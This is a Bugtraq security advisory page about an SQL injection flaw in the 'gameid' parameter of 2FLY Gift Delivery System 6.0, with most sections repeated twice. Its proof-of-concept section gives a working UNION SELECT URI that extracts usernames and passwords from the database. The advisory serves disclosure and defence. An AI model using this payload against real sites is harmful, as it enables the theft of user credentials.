RETIRED: 2FLY Gift Delivery System 'gameid' Parameter SQL Injection Vulnerability
BID:44312
Info
RETIRED: 2FLY Gift Delivery System 'gameid' Parameter SQL Injection Vulnerability
| Bugtraq ID: | 44312 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Aug 18 2009 12:00AM |
| Updated: | Oct 22 2010 02:58PM |
| Credit: | Securitylab.ir |
| Vulnerable: | |
| Not Vulnerable: | |
Discussion
RETIRED: 2FLY Gift Delivery System 'gameid' Parameter SQL Injection Vulnerability
2FLY Gift Delivery System is prone to an SQL-injection vulnerability.
An attacker can exploit this issue to carry out unauthorized actions on the underlying database which may compromise the application and may aid in further attacks.
2FLY Gift Delivery System 6.0 is vulnerable; other versions may also be affected.
This BID is being retired as a duplicate of BID 36044 (Discuz! '2fly_gift.php' SQL Injection Vulnerability).
2FLY Gift Delivery System is prone to an SQL-injection vulnerability.
An attacker can exploit this issue to carry out unauthorized actions on the underlying database which may compromise the application and may aid in further attacks.
2FLY Gift Delivery System 6.0 is vulnerable; other versions may also be affected.
This BID is being retired as a duplicate of BID 36044 (Discuz! '2fly_gift.php' SQL Injection Vulnerability).
Exploit / POC
RETIRED: 2FLY Gift Delivery System 'gameid' Parameter SQL Injection Vulnerability
Attackers can exploit the issue using a browser.
The following example URI is available:
http://www.example.com/2fly_gift.php?pages=content&gameid=16 and 1=2 union select 1,2,3,4,concat(username,0x3a,password),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,
Attackers can exploit the issue using a browser.
The following example URI is available:
http://www.example.com/2fly_gift.php?pages=content&gameid=16 and 1=2 union select 1,2,3,4,concat(username,0x3a,password),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,
Solution / Fix
RETIRED: 2FLY Gift Delivery System 'gameid' Parameter SQL Injection Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
RETIRED: 2FLY Gift Delivery System 'gameid' Parameter SQL Injection Vulnerability
References:
References:
- Product Homepage (Comsenz)